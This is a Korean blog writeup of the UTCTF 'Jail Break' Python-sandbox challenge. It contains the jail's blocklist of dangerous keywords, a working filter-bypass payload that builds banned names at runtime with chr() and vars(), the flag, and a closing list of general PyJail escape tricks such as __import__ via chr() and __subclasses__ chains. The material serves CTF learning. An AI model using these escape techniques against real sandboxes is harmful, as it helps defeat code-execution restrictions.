995 단어
5 분
[UTCTF] Jail Break writeup
UTCTF - Jail Break
문제 개요
- 카테고리: Misc (Python Jail)
- 주제: Python 샌드박스 탈출 + 키워드 필터 우회
문제 파일 (jail.py)
핵심 구조만 보면:
_ENC = [0x37, 0x36, 0x24, ...]_KEY = 0x42
def _secret(): return ''.join(chr(b ^ _KEY) for b in _ENC)
BANNED = [ "import", "os", "sys", "system", "eval", "open", "read", "write", "subprocess", "pty", "popen", "secret", "_enc", "_key"]
SAFE_BUILTINS = { "print": print, "vars": vars, "getattr": getattr, "chr": chr, "dir": dir, ... # globals/exec/eval 등 위험 함수 제거}
GLOBALS = {"__builtins__": SAFE_BUILTINS, "_secret": _secret}
while True: code = input(">>> ") for word in BANNED: if word.lower() in code.lower(): # 입력 문자열 검사 print("[BLOCKED]") exec(compile(code, "<jail>", "exec"), GLOBALS)분석
1단계: 플래그가 어디 있나
_secret() 함수가 _ENC 배열을 _KEY(0x42)로 XOR
그리고 이 함수는 GLOBALS에 "_secret": _secret 으로 등록
즉 jail 내부에서 _secret()을 호출할 수 있으면 플래그
2단계: 왜 직접 호출이 안 되나
BANNED 리스트에 "secret"이 포함
필터는 입력 문자열 전체에 대해 word in code.lower()로 검사,
입력 어딘가에 secret이라는 부분 문자열이 있으면 무조건 차단
>>> _secret() # BLOCKED - 'secret' 포함>>> _secret # BLOCKED - 'secret' 포함>>> vars()['_secret'] # BLOCKED - 'secret' 포함>>> '_' + 'secret' # BLOCKED - 'secret' 포함3단계: 필터 우회 방법
필터는 소스 코드 문자열을 검사하지, 런타임에 만들어지는 문자열은 검사하지 않음
즉 chr()로 문자를 조합해서 _secret 문자열을 런타임에 생성하면 우회 가능
'_secret' = chr(95) + 'se' + 'cret'chr(95)=_(언더스코어)'se'=s,e(각각 BANNED에 없음)'cret'=c,r,e,t(각각 BANNED에 없음)
검사 시점에는 소스 문자열에 secret이 없으므로 통과.
실행 시점에는 chr(95)+'se'+'cret' = _secret이 만들어짐.
4단계: vars()로 GLOBALS 접근
SAFE_BUILTINS에 vars가 허용
vars()는 현재 실행 컨텍스트의 namespace를 dict로 반환,
exec(code, GLOBALS)로 실행되므로 vars()가 곧 GLOBALS
vars()['_secret'] # == GLOBALS['_secret'] == _secret 함수vars()['_secret']() # == _secret() 호출최종 페이로드
print(vars()[chr(95)+'se'+'cret']())분해하면:
chr(95)→'_'chr(95)+'se'+'cret'→'_secret'(런타임에 조합)vars()['_secret']→_secret함수 객체vars()['_secret']()→_secret()호출 —> 플래그 반환print(...)→ 출력
필터 통과 확인
BANNED = ['import','os','sys','system','eval','open','read', 'write','subprocess','pty','popen','secret','_enc','_key']
payload = "print(vars()[chr(95)+'se'+'cret']())"blocked = any(word in payload.lower() for word in BANNED)# blocked = False ← 통과!실행 결과
================================================== Welcome to PyJail v1.0 Escape to get the flag!==================================================
>>> print(vars()[chr(95)+'se'+'cret']())utflag{py_ja1l_3sc4p3_m4st3r}FLAG
utflag{py_ja1l_3sc4p3_m4st3r}보너스: 파일을 직접 읽을 수 있었다면
서버 없이 jail.py 소스코드에 직접 접근 가능한 경우,
_ENC와 _KEY를 그대로 계산
_ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d, 0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32, 0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f]_KEY = 0x42print(''.join(chr(b ^ _KEY) for b in _ENC))# utflag{py_ja1l_3sc4p3_m4st3r}핵심 포인트 정리
| 항목 | 내용 |
|---|---|
| 플래그 위치 | GLOBALS['_secret']() 호출 결과 |
| 필터 방식 | 입력 문자열에서 banned word 부분 문자열 검사 |
| 필터 우회 | chr() + 문자열 분할로 런타임에 키워드 조합 |
| namespace 접근 | vars() → GLOBALS dict 반환 → ['_secret'] 키로 함수 접근 |
| 핵심 교훈 | 소스 문자열 필터는 런타임 문자열 생성으로 우회 가능 |
PyJail 일반적인 우회 기법 모음
1. chr() 조합
# 'os' 우회__import__(chr(111)+chr(115)) # chr(111)='o', chr(115)='s'2. 문자열 분할
# 'system' 우회'sys'+'tem''s'+'y'+'s'+'t'+'e'+'m'3. __class__.__mro__ 체인 (builtins 복원)
# object → 서브클래스 탐색으로 위험 클래스 접근().__class__.__mro__[-1].__subclasses__()4. getattr 활용
# 속성 이름을 문자열로 우회getattr(some_obj, 'dange'+'rous_method')()5. f-string 또는 format 활용
# 런타임 문자열 생성f"{'sec'+'ret'}"관련 개념 더 공부하기
- Python Sandbox Escape:
__builtins__,__class__,__mro__체인 이해 - SSTI (Server-Side Template Injection): 비슷한 런타임 탈출 개념
- AST 기반 필터: 문자열 검사보다 강력한 필터,
ast.parse()후 노드 검사
이 롸업은 GPT님이 작성해주셨다.
풀이가 두 가지 가능했는데, 암호학 문제를 보다가 이 문제를 보니
XOR쪽 접근밖에 떠오르는 게 없어서 그렇게 푼 뒤 롸업 작성 도중 새 풀이를..
그러니까 인텐을 알게 되었다고 볼 수 있다.
[UTCTF] Jail Break writeup
https://bankai.kr/posts/jail-break/